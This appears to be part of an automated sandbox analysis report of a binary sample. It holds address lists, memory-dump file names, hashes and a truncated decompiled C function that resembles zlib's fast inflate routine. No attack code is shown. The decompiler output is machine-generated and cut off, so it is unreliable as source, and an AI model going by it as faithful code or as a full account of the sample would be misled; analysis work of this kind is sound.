0x0040ee2c
0x0040ee2f
0x0040ee32
0x0040ee34
0x0040ee37
0x0040ee3b
0x0040ee3e
0x0040ee3e
0x0040ee3e
0x0040ee41
0x0040ee41
0x0040ee32
0x0040ee2a
0x0040ee45
0x0040ee49
0x0040ee4b
0x00000000
0x00000000
0x0040ee4d
0x0040ee4d
0x0040ee4f
0x00000000
0x00000000
0x00000000
0x0040ee4f
0x0040ee51
0x0040ee51
0x0040ee58
0x0040ee5c
0x0040ee5e
0x0040ee5f
0x0040ee60
0x0040ee63
0x0040ee68
0x0040ee6c
0x0040ee6f
0x0040ee72
0x0040ee72
0x0040ee76
0x0040ee78
0x0040ee7a
0x0040ee7e
0x0040ee80
0x00000000
0x0040ee86
0x0040ee86
0x0040ee96
0x0040ee96
0x0040ee9a
0x00000000
0x0040ee9a
0x0040ee80
0x0040ee0d
0x00000000
0x00000000
0x0040eea0
0x0040eea0
0x0040eea7
0x0040eef9
0x0040eef9
0x0040eefc
0x0040eefe
0x0040ef03
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef0c
0x0040ef0f
0x0040ef0f
0x0040ef16
0x0040ef18
0x0040ef1a
0x0040ef1c
0x0040ef21
0x0040ef25
0x0040ef28
0x0040ef2c
0x0040ef2f
0x0040ef32
0x00000000
0x0040eea9
0x0040eea9
0x0040eea9
0x0040eeac
0x0040eed3
0x0040eed3
0x0040eed7
0x0040eed9
0x0040eef1
0x0040eef1
0x0040eef3
0x0040eef3
0x0040eef5
0x00000000
0x0040eedb
0x0040eedb
0x0040eedb
0x0040eedf
0x0040eee6
0x0040eee6
0x00000000
0x0040eeb0
0x00000000
0x0040eeb0
0x0040eeb0
0x0040eeb0
0x0040eeb2
0x00000000
0x00000000
0x0040eeb8
0x0040eeb8
0x0040eebb
0x0040eebd
0x0040eebf
0x0040eec0
0x0040eec2
0x0040eec6
0x0040eec9
0x0040eecd
0x0040eece
0x0040eed1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040eed1
0x00000000
0x0040eeb0
0x0040eeac
0x00000000
0x00000000
0x0040ef3d
0x0040ef3d
0x0040ef40
0x0040ef65
0x0040ef65
0x0040ef69
0x0040ef72
0x0040ef76
0x0040ef79
0x0040ef7c
0x0040ef81
0x0040ef83
0x0040ef86
0x0040ef8a
0x0040ef8c
0x0040ef8e
0x0040ef91
0x0040ef95
0x0040ef95
0x0040ef97
0x0040ef9a
0x00000000
0x0040ef42
0x0040ef42
0x0040ef42
0x0040ef42
0x0040ef44
0x00000000
0x00000000
0x0040ef4a
0x0040ef4a
0x0040ef4d
0x0040ef4f
0x0040ef51
0x0040ef52
0x0040ef54
0x0040ef58
0x0040ef5b
0x0040ef5f
0x0040ef60
0x0040ef63
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ef63
0x00000000
0x0040ef42
0x00000000
0x00000000
0x0040efa0
0x0040efa0
0x0040efa4
0x0040fcfe
0x0040fcfe
0x0040fd02
0x0040fd05
0x0040fd09
0x0040fd0c
0x0040fd11
0x0040fd13
0x0040fd16
0x0040fd19
0x0040fd1a
0x0040fd1b
0x0040fd1c
0x0040fd1f
0x0040fd20
0x0040fd23
0x0040efaa
0x0040efaa
0x0040efaa
0x0040efac
0x0040efae
0x0040efb0
0x0040efb5
0x0040efb9
0x0040efbc
0x0040efc0
0x0040efc3
0x0040efc6
0x00000000
0x0040efc6
0x00000000
0x00000000
0x0040efcc
0x0040efcc
0x0040efd0
0x0040efd3
0x0040fd5c
0x0040fd5c
0x0040fd60
0x00000000
0x0040efd9
0x0040efd9
0x0040efd9
0x0040efdc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040efdc
0x00000000
0x00000000
0x0040efe2
0x0040efe2
0x0040efe6
0x0040f000
0x0040f000
0x0040f003
0x0040f028
0x0040f028
0x0040f02a
0x0040f02f
0x0040f032
0x0040f034
0x0040f037
0x0040f03a
0x0040f049
0x0040f049
0x0040f04d
0x0040f050
0x0040f053
0x00000000
0x0040f03c
0x0040f03c
0x0040f03c
0x00000000
0x0040f043
0x0040f043
0x00000000
0x00000000
0x0040f05c
0x0040f05c
0x0040f061
0x0040f068
0x0040f06f
0x0040f076
0x0040f07d
0x0040f083
0x00000000
0x0040f085
0x0040f085
0x0040f085
0x0040f088
0x0040f08b
0x00000000
0x0040f08b
0x00000000
0x00000000
0x0040f094
0x0040f094
0x0040f094
0x0040f098
0x0040f09b
0x0040f09e
0x0040f0a4
0x00000000
0x00000000
0x0040f0ad
0x0040f0ad
0x0040f0ad
0x0040f0b1
0x0040f0b4
0x0040f0b7
0x0040f0bb
0x0040f0c2
0x00000000
0x00000000
0x0040f03c
0x0040f005
0x0040f005
0x0040f005
0x0040f005
0x0040f007
0x00000000
0x00000000
0x0040f00d
0x0040f00d
0x0040f010
0x0040f012
0x0040f014
0x0040f015
0x0040f017
0x0040f01b
0x0040f01e
0x0040f022
0x0040f023
0x0040f026
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f026
0x00000000
0x0040f005
0x0040efe8
0x0040efe8
0x0040efe8
0x0040efea
0x0040eff0
0x0040eff3
0x0040eff5
0x0040eff7
0x00000000
0x0040eff7
0x00000000
0x00000000
0x0040f0cd
0x0040f0cf
0x0040f0d2
0x0040f0d4
0x0040f0d6
0x0040f0da
0x0040f0dd
0x0040f103
0x0040f103
0x0040f105
0x0040f107
0x0040f109
0x0040f10f
0x0040f112
0x0040f114
0x0040f12c
0x0040f12c
0x0040f12e
0x0040f131
0x0040f133
0x0040f137
0x0040f13c
0x0040f142
0x0040fd55
0x0040fd55
0x00000000
0x0040f148
0x0040f148
0x0040f148
0x00000000
0x0040f148
0x0040f116
0x0040f116
0x0040f116
0x0040f11a
0x0040f121
0x00000000
0x0040f121
0x0040f0e0
0x00000000
0x0040f0e0
0x0040f0e0
0x0040f0e0
0x0040f0e2
0x00000000
0x00000000
0x0040f0e8
0x0040f0e8
0x0040f0eb
0x0040f0ed
0x0040f0ef
0x0040f0f0
0x0040f0f2
0x0040f0f6
0x0040f0f9
0x0040f0fd
0x0040f0fe
0x0040f101
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f101
0x00000000
0x0040f0e0
0x00000000
0x00000000
0x0040f14c
0x0040f14c
0x00000000
0x00000000
0x0040f152
0x0040f152
0x0040f155
0x0040f159
0x0040f15b
0x0040f1c2
0x0040f1c2
0x00000000
0x0040f15d
0x0040f15d
0x0040f15d
0x0040f15f
0x0040f161
0x0040f163
0x0040f163
0x0040f167
0x0040f16b
0x0040f16d
0x0040f16f
0x0040f171
0x0040f171
0x0040f175
0x0040f177
0x00000000
0x0040f17d
0x0040f17d
0x0040f183
0x0040f188
0x0040f18c
0x0040f18f
0x0040f193
0x0040f195
0x0040f199
0x0040f19b
0x0040f19b
0x0040f19b
0x0040f19e
0x00000000
0x0040f19e
0x0040f177
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f340
0x0040f343
0x0040f349
0x0040f34d
0x0040f34f
0x0040f591
0x0040f591
0x0040f594
0x0040f1a2
0x0040f1a2
0x00000000
0x0040f59a
0x0040f59a
0x0040f59a
0x0040f5a2
0x0040f5d4
0x0040f5d4
0x0040f5da
0x0040f5e4
0x0040f5e7
0x0040f5fe
0x0040f603
0x0040f606
0x0040f60a
0x0040f60c
0x0040f628
0x0040f62e
0x0040f63a
0x0040f657
0x0040f659
0x0040f65c
0x0040f660
0x0040f662
0x0040f67e
0x0040f67e
0x0040f682
0x0040f688
0x0040f68b
0x0040fd4c
0x0040fd4c
0x00000000
0x0040f691
0x0040f691
0x0040f691
0x0040f695
0x00000000
0x0040f695
0x0040f664
0x0040f664
0x0040f664
0x0040f668
0x0040f66c
0x0040f673
0x00000000
0x0040f673
0x0040f60e
0x0040f60e
0x0040f60e
0x0040f612
0x0040f616
0x0040f61d
0x00000000
0x0040f61d
0x0040f5a4
0x0040f5a4
0x0040f5a4
0x0040f5a8
0x0040f5ac
0x0040f5b3
0x00000000
0x0040f5b3
0x0040f5a2
0x0040f355
0x0040f355
0x0040f355
0x0040f360
0x0040f360
0x0040f377
0x0040f382
0x0040f386
0x0040f388
0x0040f3d8
0x0040f3da
0x0040f3dd
0x0040f3e1
0x0040f406
0x0040f406
0x0040f483
0x0040f483
0x0040f489
0x0040f48d
0x0040f490
0x0040f4de
0x0040f4de
0x0040f4e1
0x0040f4e5
0x0040f4e7
0x0040f516
0x0040f516
0x0040f520
0x0040f520
0x0040f523
0x0040f527
0x00000000
0x0040f4f0
0x00000000
0x0040f4f0
0x0040f4f0
0x0040f4f0
0x0040f4f2
0x00000000
0x00000000
0x0040f4f8
0x0040f4fd
0x0040f4ff
0x0040f500
0x0040f502
0x0040f506
0x0040f509
0x0040f50d
0x0040f50e
0x0040f510
0x00000000
0x0040f512
0x0040f512
0x0040f512
0x00000000
0x0040f512
0x00000000
0x0040f510
0x00000000
0x0040f4f0
0x0040f492
0x0040f492
0x0040f492
0x0040f495
0x0040f499
0x0040f49b
0x0040f4c6
0x0040f4c6
0x0040f4d0
0x0040f4d3
0x0040f4d7
0x0040f52c
0x0040f52c
0x0040f532
0x0040f532
0x0040f534
0x0040f53c
0x00000000
0x0040f4a0
0x00000000
0x0040f4a0
0x0040f4a0
0x0040f4a0
0x0040f4a2
0x00000000
0x00000000
0x0040f4a8
0x0040f4ad
0x0040f4af
0x0040f4b0
0x0040f4b2
0x0040f4b6
0x0040f4b9
0x0040f4bd
0x0040f4be
0x0040f4c0
0x00000000
0x0040f4c2
0x0040f4c2
0x0040f4c2
0x00000000
0x0040f4c2
0x00000000
0x0040f4c0
0x00000000
0x0040f4a0
0x0040f49b
0x0040f408
0x0040f408
0x0040f410
0x0040f413
0x0040f417
0x0040f419
0x0040f444
0x0040f448
0x0040f44c
0x0040f44f
0x0040f453
0x0040f455
0x0040f457
0x0040f45b
0x0040f45d
0x0040f5be
0x0040f5be
0x0040f5c2
0x0040f5c9
0x00000000
0x0040f463
0x0040f463
0x0040f468
0x0040f46e
0x0040f471
0x0040f474
0x0040f477
0x0040f47a
0x0040f540
0x0040f54a
0x0040f54e
0x0040f552
0x0040f554
0x00000000
0x0040f556
0x0040f556
0x0040f556
0x0040f55a
0x0040f55c
0x0040f55e
0x0040f55e
0x0040f562
0x0040f562
0x0040f565
0x0040f56a
0x0040f56d
0x0040f56d
0x0040f56d
0x0040f562
0x0040f570
0x0040f570
0x0040f574
0x00000000
0x0040f574
0x0040f554
0x0040f41b
0x0040f41b
0x0040f420
0x0040f420
0x0040f420
0x0040f422
0x00000000
0x00000000
0x0040f428
0x0040f42d
0x0040f42f
0x0040f430
0x0040f432
0x0040f436
0x0040f439
0x0040f43d
0x0040f43e
0x0040f442
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f442
0x00000000
0x0040f420
0x0040f419
0x0040f3e3
0x0040f3e3
0x0040f3e6
0x0040f3ed
0x0040f3ef
0x0040f3f1
0x0040f3f5
0x0040f3f9
0x0040f3fe
0x00000000
0x0040f3fe
0x0040f390
0x00000000
0x0040f390
0x0040f390
0x0040f390
0x0040f392
0x00000000
0x00000000
0x0040f398
0x0040f3a4
0x0040f3a6
0x0040f3ab
0x0040f3ae
0x0040f3af
0x0040f3b3
0x0040f3c5
0x0040f3d0
0x0040f3d4
0x0040f3d6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3d6
0x00000000
0x0040f390
0x00000000
0x0040f578
0x0040f57b
0x0040f581
0x0040f585
0x0040f585
0x0040f58d
0x00000000
0x0040f58d
0x00000000
0x00000000
0x0040f699
0x0040f699
0x00000000
0x00000000
0x0040f69f
0x0040f69f
0x0040f6a2
0x0040f711
0x0040f717
0x0040f728
0x0040f732
0x0040f73d
0x0040f73f
0x0040f784
0x0040f784
0x0040f786
0x0040f850
0x0040f855
0x0040f858
0x0040f85e
0x0040f860
0x0040f867
0x0040f86b
0x0040f86e
0x0040f870
0x0040f87d
0x0040f87d
0x0040f87f
0x0040f896
0x0040f896
0x0040f898
0x0040f8b0
0x0040f8b3
0x0040f8b3
0x0040f8b6
0x0040f8bc
0x00000000
0x0040f89a
0x0040f89a
0x0040f89a
0x0040f89e
0x0040f8a5
0x00000000
0x0040f8a5
0x0040f881
0x0040f881
0x0040f881
0x0040f88b
0x00000000
0x0040f88b
0x0040f872
0x0040f872
0x0040f872
0x00000000
0x0040f872
0x0040f78c
0x0040f78c
0x0040f78c
0x0040f78e
0x00000000
0x0040f794
0x0040f794
0x0040f79b
0x0040f79e
0x0040f7a3
0x0040f7b4
0x0040f7c4
0x0040f7d8
0x0040f7da
0x0040f837
0x0040f837
0x0040f83b
0x0040f83f
0x0040f846
0x0040f848
0x0040f848
0x0040f84a
0x00000000
0x0040f7e0
0x00000000
0x0040f7e0
0x0040f7e0
0x0040f7e0
0x0040f7e2
0x00000000
0x00000000
0x0040f7e8
0x0040f7e8
0x0040f7ec
0x0040f7f3
0x0040f7f6
0x0040f7fd
0x0040f806
0x0040f80a
0x0040f826
0x0040f833
0x0040f835
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f835
0x00000000
0x0040f7e0
0x0040f7da
0x0040f78e
0x0040f741
0x0040f741
0x0040f741
0x0040f741
0x0040f743
0x00000000
0x00000000
0x0040f749
0x0040f74e
0x0040f750
0x0040f759
0x0040f75c
0x0040f760
0x0040f766
0x0040f771
0x0040f776
0x0040f780
0x0040f782
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f782
0x00000000
0x0040f741
0x0040f6a4
0x0040f6a4
0x0040f6a4
0x0040f6ac
0x00000000
0x0040f6ae
0x0040f6ae
0x0040f6b2
0x0040f6b6
0x0040f6bd
0x0040f6c0
0x0040f6c2
0x0040f6c5
0x0040f6c6
0x0040f6c9
0x0040f6cc
0x0040f6d1
0x0040f6d5
0x0040f6d8
0x0040f6db
0x0040f6de
0x0040f6e4
0x0040f6e6
0x0040f6e9
0x0040f6f0
0x0040f6f4
0x0040f6f8
0x0040f6fc
0x0040f702
0x0040f702
0x00000000
0x0040f6fc
0x0040f6ac
0x00000000
0x00000000
0x0040f8bf
0x0040f8bf
0x0040f8c2
0x0040f8c4
0x0040f910
0x0040f913
0x0040f919
0x00000000
0x0040f8c6
0x0040f8c6
0x0040f8c6
0x0040f8c8
0x0040f8f5
0x0040f8fa
0x0040f8ff
0x0040f901
0x0040f903
0x0040f906
0x0040f906
0x0040f906
0x0040f90c
0x00000000
0x0040f8d0
0x00000000
0x0040f8d0
0x0040f8d0
0x0040f8d0
0x0040f8d2
0x00000000
0x00000000
0x0040f8d8
0x0040f8dd
0x0040f8df
0x0040f8e0
0x0040f8e3
0x0040f8e5
0x0040f8e8
0x0040f8ec
0x0040f8ed
0x0040f8f1
0x0040f8f3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f8f3
0x00000000
0x0040f8d0
0x0040f8c8
0x00000000
0x00000000
0x0040f91f
0x0040f925
0x0040f936
0x0040f941
0x0040f943
0x0040f988
0x0040f988
0x0040f98a
0x0040fa44
0x0040fa44
0x0040fa4d
0x0040fa50
0x0040fa56
0x0040fa58
0x0040fa5a
0x0040fa5e
0x0040fa60
0x0040fa78
0x0040fa7a
0x0040fa86
0x0040fa86
0x0040fa89
0x0040fa8c
0x00000000
0x0040fa62
0x0040fa62
0x0040fa62
0x0040fa66
0x0040fa6d
0x00000000
0x0040fa6d
0x0040f990
0x0040f990
0x0040f997
0x0040f99a
0x0040f99f
0x0040f9b0
0x0040f9c0
0x0040f9d4
0x0040f9d6
0x0040fa2f
0x0040fa2f
0x0040fa33
0x0040fa3a
0x0040fa3c
0x0040fa3e
0x0040fa3e
0x0040fa3e
0x00000000
0x0040f9d8
0x0040f9d8
0x0040f9d8
0x0040f9d8
0x0040f9da
0x00000000
0x00000000
0x0040f9e0
0x0040f9e0
0x0040f9e4
0x0040f9eb
0x0040f9ee
0x0040f9f5
0x0040f9fe
0x0040fa02
0x0040fa1e
0x0040fa2b
0x0040fa2d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa2d
0x00000000
0x0040f9d8
0x0040f9d6
0x0040f945
0x0040f945
0x0040f945
0x0040f945
0x0040f947
0x00000000
0x00000000
0x0040f94d
0x0040f952
0x0040f954
0x0040f95d
0x0040f960
0x0040f964
0x0040f96a
0x0040f975
0x0040f97a
0x0040f984
0x0040f986
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f986
0x00000000
0x0040f945
0x00000000
0x00000000
0x0040fa8f
0x0040fa8f
0x0040fa92
0x0040fa94
0x0040fae0
0x0040fae0
0x00000000
0x0040fa96
0x0040fa96
0x0040fa96
0x0040fa98
0x0040fac5
0x0040faca
0x0040facf
0x0040fad1
0x0040fad3
0x0040fad6
0x0040fad6
0x0040fad6
0x0040fadc
0x00000000
0x0040faa0
0x00000000
0x0040faa0
0x0040faa0
0x0040faa0
0x0040faa2
0x00000000
0x00000000
0x0040faa8
0x0040faad
0x0040faaf
0x0040fab0
0x0040fab3
0x0040fab5
0x0040fab8
0x0040fabc
0x0040fabd
0x0040fac1
0x0040fac3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fac3
0x00000000
0x0040faa0
0x0040fa98
0x00000000
0x00000000
0x0040fae6
0x0040fae6
0x0040faea
0x0040faec
0x00000000
0x0040faf2
0x0040faf2
0x0040faf6
0x0040faf8
0x0040fafb
0x0040fafd
0x0040fb4d
0x0040fb51
0x0040fb51
0x0040fb53
0x0040fb57
0x00000000
0x0040faff
0x0040faff
0x0040faff
0x0040fb01
0x0040fb04
0x0040fb25
0x0040fb25
0x0040fb28
0x0040fb2a
0x0040fb3d
0x0040fb3d
0x0040fb2c
0x0040fb2c
0x0040fb34
0x0040fb34
0x0040fb40
0x0040fb44
0x0040fb47
0x0040fb49
0x0040fb4b
0x0040fb5a
0x0040fb5a
0x0040fb5a
0x0040fb5c
0x0040fb5c
0x0040fb60
0x0040fb62
0x0040fb62
0x0040fb6c
0x0040fb70
0x0040fb73
0x0040fb77
0x0040fb77
0x0040fb80
0x0040fb80
0x0040fb83
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb86
0x0040fb89
0x0040fb8d
0x0040fb91
0x0040fb95
0x0040fb98
0x0040fb9e
0x0040fb9e
0x0040f1a6
0x0040f1a6
0x0040fb06
0x0040fb06
0x0040fb06
0x0040fb0d
0x00000000
0x0040fb0f
0x0040fb0f
0x0040fb0f
0x0040fb13
0x0040fb1a
0x0040fb1a
0x0040fb0d
0x0040fb04
0x00000000
0x0040fafd
0x00000000
0x00000000
0x0040fba9
0x0040fba9
0x0040fbae
0x00000000
0x0040fbb4
0x0040fbb4
0x0040fbb4
0x0040fbb8
0x0040fbbb
0x0040fbbf
0x0040fbc3
0x0040fbc5
0x0040fbc9
0x00000000
0x0040fbc9
0x00000000
0x00000000
0x0040fbd4
0x0040fbd4
0x0040fbd8
0x0040fbd9
0x0040fbdb
0x0040fbdd
0x0040fbdd
0x0040fbdd
0x00000000
0x0040fcac
0x0040fcac
0x0040fcb0
0x0040fd2c
0x0040fd2c
0x00000000
0x0040fcb2
0x0040fcb2
0x0040fcb2
0x0040fcb6
0x00000000
0x0040fcb8
0x0040fcb8
0x0040fcb8
0x0040fcbb
0x0040fce3
0x0040fce3
0x0040fce6
0x0040fd24
0x0040fd24
0x0040fd26
0x0040fd26
0x0040fd28
0x00000000
0x0040fce8
0x0040fce8
0x0040fce8
0x0040fcec
0x0040fcf3
0x00000000
0x0040fcf3
0x0040fcc0
0x00000000
0x0040fcc0
0x0040fcc0
0x0040fcc0
0x0040fcc2
0x00000000
0x00000000
0x0040fcc8
0x0040fcc8
0x0040fccb
0x0040fccd
0x0040fccf
0x0040fcd0
0x0040fcd2
0x0040fcd6
0x0040fcd9
0x0040fcdd
0x0040fcde
0x0040fce1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fce1
0x00000000
0x0040fcc0
0x0040fcbb
0x0040fcb6
0x00000000
0x00000000
0x0040fd32
0x0040fd32
0x00000000
0x00000000
0x0040fd3f
0x0040fd3f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e890
0x0040f1b5
0x0040f1c1
0x0040f1c1
0x0040f254
0x0040f254
0x0040f254
0x0040f257
0x00000000
0x0040f260
0x00000000
0x0040f260
0x0040f260
0x0040f262
0x00000000
0x00000000
0x0040f268
0x0040f26d
0x0040f26f
0x0040f270
0x0040f272
0x0040f276
0x0040f279
0x0040f27d
0x0040f281
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f281
0x00000000
0x0040f260
0x00000000
0x0040f283
0x0040f288
0x0040f28b
0x0040f28e
0x0040f291
0x0040f29d
0x0040f2a2
0x0040f2a8
0x00000000
0x0040f254
0x0040f252
0x0040f239
0x00000000
0x0040f22f

Strings

x1A, xrefs: 0040FB13

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: x1A
API String ID: 0-1646630478
Opcode ID: bae000775f9bd7815902f0e88db16ebb2c7b5e271d13db52e636695b4bdd36e2
Instruction ID: 289a58e561be91ddcdb4e2d479c1f16e8e44ae8c5c60d1ef544fec63d47ee422
Opcode Fuzzy Hash: bae000775f9bd7815902f0e88db16ebb2c7b5e271d13db52e636695b4bdd36e2
Instruction Fuzzy Hash: 4C62F0716047129FC728CF29C4906AAB7E1FFC4314F144A3EE8969BB80D379E859CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00411250, Relevance: 1.6, Strings: 1, Instructions: 383
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00411250() {
				intOrPtr _t148;
				signed int _t165;
				intOrPtr _t175;
				signed int _t187;
				void* _t189;
				signed int _t190;
				intOrPtr _t195;
				signed int _t202;
				char _t204;
				char _t207;
				intOrPtr _t208;
				char _t209;
				char _t212;
				intOrPtr* _t213;
				signed char* _t215;
				signed char* _t219;
				signed int _t236;
				intOrPtr _t248;
				unsigned int _t249;
				intOrPtr _t251;
				unsigned int _t254;
				intOrPtr* _t256;
				signed char _t263;
				intOrPtr* _t265;
				signed char _t269;
				signed char _t270;
				signed char* _t272;
				void* _t274;
				void* _t276;
				intOrPtr _t277;
				signed char _t279;
				signed char _t284;
				signed char _t287;
				signed char _t292;
				signed char* _t294;
				signed int _t295;
				void* _t296;
				signed char* _t297;
				signed char _t298;
				signed char _t299;
				signed char _t300;
				signed char _t301;
				signed char _t302;
				void* _t305;
				signed char _t308;
				signed char* _t309;
				signed char* _t310;
				unsigned int _t311;
				void* _t315;
				signed char* _t316;
				void* _t318;
				char* _t322;
				signed int _t323;
				signed int _t324;
				void* _t325;

				_t256 =  *((intOrPtr*)(_t325 + 0x4c));
				_t248 =  *((intOrPtr*)(_t256 + 0x1c));
				_t294 =  *_t256 - 1;
				_t323 =  *(_t248 + 0x3c);
				 *((intOrPtr*)(_t325 + 0x38)) =  *((intOrPtr*)(_t256 + 4)) + 0xfffffffb + _t294;
				_t322 =  *((intOrPtr*)(_t256 + 0xc)) - 1;
				_t148 =  *((intOrPtr*)(_t256 + 0x10));
				 *((intOrPtr*)(_t325 + 0x1c)) = _t248;
				 *((intOrPtr*)(_t325 + 0x14)) = _t148 + 0xfffffeff + _t322;
				 *((intOrPtr*)(_t325 + 0x30)) =  *((intOrPtr*)(_t248 + 0x28));
				 *((intOrPtr*)(_t325 + 0x44)) =  *((intOrPtr*)(_t248 + 0x2c));
				 *((intOrPtr*)(_t325 + 0x20)) =  *((intOrPtr*)(_t248 + 0x30));
				 *((intOrPtr*)(_t325 + 0x34)) =  *((intOrPtr*)(_t248 + 0x34));
				 *((intOrPtr*)(_t325 + 0x28)) =  *((intOrPtr*)(_t248 + 0x4c));
				 *((intOrPtr*)(_t325 + 0x2c)) =  *((intOrPtr*)(_t248 + 0x50));
				 *(_t325 + 0x18) = 1;
				 *((intOrPtr*)(_t325 + 0x40)) = _t148 -  *(_t325 + 0x50) + _t322;
				 *(_t325 + 0x18) =  *(_t325 + 0x18) <<  *(_t248 + 0x54);
				 *(_t325 + 0x18) =  *(_t325 + 0x18) - 1;
				 *(_t325 + 0x10) = _t294;
				_t311 =  *(_t248 + 0x38);
				 *(_t325 + 0x3c) = (1 <<  *(_t248 + 0x58)) - 1;
				do {
					if(_t323 < 0xf) {
						_t297 =  &(_t294[2]);
						 *(_t325 + 0x10) = _t297;
						_t311 = _t311 + ((_t294[1] & 0x000000ff) << _t323) + (( *_t297 & 0x000000ff) << _t323 + 8);
						_t323 = _t323 + 0x10;
					}
					_t249 =  *( *((intOrPtr*)(_t325 + 0x28)) + ( *(_t325 + 0x18) & _t311) * 4);
					_t263 = _t249 >> 0x00000008 & 0x000000ff;
					_t311 = _t311 >> _t263;
					_t323 = _t323 - _t263;
					_t295 = _t249 & 0x000000ff;
					if(_t249 == 0) {
						L7:
						_t322 = _t322 + 1;
						 *_t322 = _t249 >> 0x10;
						L47:
						_t294 =  *(_t325 + 0x10);
						_t251 =  *((intOrPtr*)(_t325 + 0x14));
						if(_t294 >=  *((intOrPtr*)(_t325 + 0x38))) {
							L62:
							_t165 = _t323 >> 3;
							_t296 = _t294 - _t165;
							_t324 = _t323 - (_t165 << 3);
							_t265 =  *((intOrPtr*)(_t325 + 0x4c));
							 *_t265 = _t296 + 1;
							 *((intOrPtr*)(_t265 + 0xc)) = _t322 + 1;
							 *((intOrPtr*)(_t265 + 4)) =  *((intOrPtr*)(_t325 + 0x38)) - _t296 + 5;
							_t175 =  *((intOrPtr*)(_t325 + 0x1c));
							 *((intOrPtr*)(_t265 + 0x10)) = _t251 - _t322 + 0x101;
							 *(_t175 + 0x38) = _t311 & (0x00000001 << _t324) - 0x00000001;
							 *(_t175 + 0x3c) = _t324;
							return _t175;
						}
						goto L48;
					}
					while((_t295 & 0x00000010) == 0) {
						if((_t295 & 0x00000040) != 0) {
							_t213 =  *((intOrPtr*)(_t325 + 0x1c));
							_t251 =  *((intOrPtr*)(_t325 + 0x14));
							_t294 =  *(_t325 + 0x10);
							if((_t295 & 0x00000020) == 0) {
								 *( *((intOrPtr*)(_t325 + 0x4c)) + 0x18) = "invalid literal/length code";
								L61:
								 *_t213 = 0x1d;
								goto L62;
							}
							 *_t213 = 0xb;
							goto L62;
						}
						_t249 =  *( *((intOrPtr*)(_t325 + 0x28)) + (((0x00000001 << _t295) - 0x00000001 & _t311) + (_t249 >> 0x10)) * 4);
						_t292 = _t249 >> 0x00000008 & 0x000000ff;
						_t311 = _t311 >> _t292;
						_t323 = _t323 - _t292;
						_t295 = _t249 & 0x000000ff;
						if(_t249 != 0) {
							continue;
						}
						goto L7;
					}
					_t254 = _t249 >> 0x10;
					_t298 = _t295 & 0x0000000f;
					if(_t298 != 0) {
						_t287 = _t298;
						_t236 = (0x00000001 << _t287) - 0x00000001 & _t311;
						_t311 = _t311 >> _t287;
						_t254 = _t254 + _t236;
						_t323 = _t323 - _t298;
					}
					if(_t323 < 0xf) {
						_t309 =  *(_t325 + 0x10);
						_t310 =  &(_t309[2]);
						 *(_t325 + 0x10) = _t310;
						_t311 = _t311 + ((_t309[1] & 0x000000ff) << _t323) + (( *_t310 & 0x000000ff) << _t323 + 8);
						_t323 = _t323 + 0x10;
					}
					_t299 =  *( *((intOrPtr*)(_t325 + 0x2c)) + ( *(_t325 + 0x3c) & _t311) * 4);
					_t269 = _t299 >> 0x00000008 & 0x000000ff;
					 *(_t325 + 0x50) = _t299;
					_t323 = _t323 - _t269;
					_t300 = _t299 & 0x000000ff;
					_t311 = _t311 >> _t269;
					if((_t300 & 0x00000010) != 0) {
						L17:
						 *(_t325 + 0x50) =  *(_t325 + 0x50) >> 0x10;
						_t301 = _t300 & 0x0000000f;
						if(_t323 < _t301) {
							_t279 = _t323;
							_t215 =  &(( *(_t325 + 0x10))[1]);
							_t323 = _t323 + 8;
							 *(_t325 + 0x10) = _t215;
							_t311 = _t311 + (( *_t215 & 0x000000ff) << _t279);
							if(_t323 < _t301) {
								_t219 =  &(( *(_t325 + 0x10))[1]);
								 *(_t325 + 0x10) = _t219;
								_t311 = _t311 + (( *_t219 & 0x000000ff) << _t323);
								_t323 = _t323 + 8;
							}
						}
						_t270 = _t301;
						_t323 = _t323 - _t301;
						_t187 = (0x00000001 << _t270) - 0x00000001 & _t311;
						_t311 = _t311 >> _t270;
						 *(_t325 + 0x50) =  *(_t325 + 0x50) + _t187;
						_t189 = _t322 -  *((intOrPtr*)(_t325 + 0x40));
						_t302 =  *(_t325 + 0x50);
						 *(_t325 + 0x24) = _t311;
						if(_t302 <= _t189) {
							_t272 = _t322 - _t302;
							do {
								_t190 = _t272[1] & 0x000000ff;
								_t272 =  &(_t272[3]);
								 *(_t322 + 1) = _t190;
								_t254 = _t254 - 3;
								 *(_t322 + 2) =  *(_t272 - 1) & 0x000000ff;
								_t322 = _t322 + 3;
								 *_t322 =  *_t272 & 0x000000ff;
							} while (_t254 > 2);
							if(_t254 != 0) {
								_t322 = _t322 + 1;
								 *_t322 = _t272[1];
								if(_t254 > 1) {
									_t322 = _t322 + 1;
									 *_t322 = _t272[2];
								}
							}
							goto L47;
						} else {
							_t274 = _t302 - _t189;
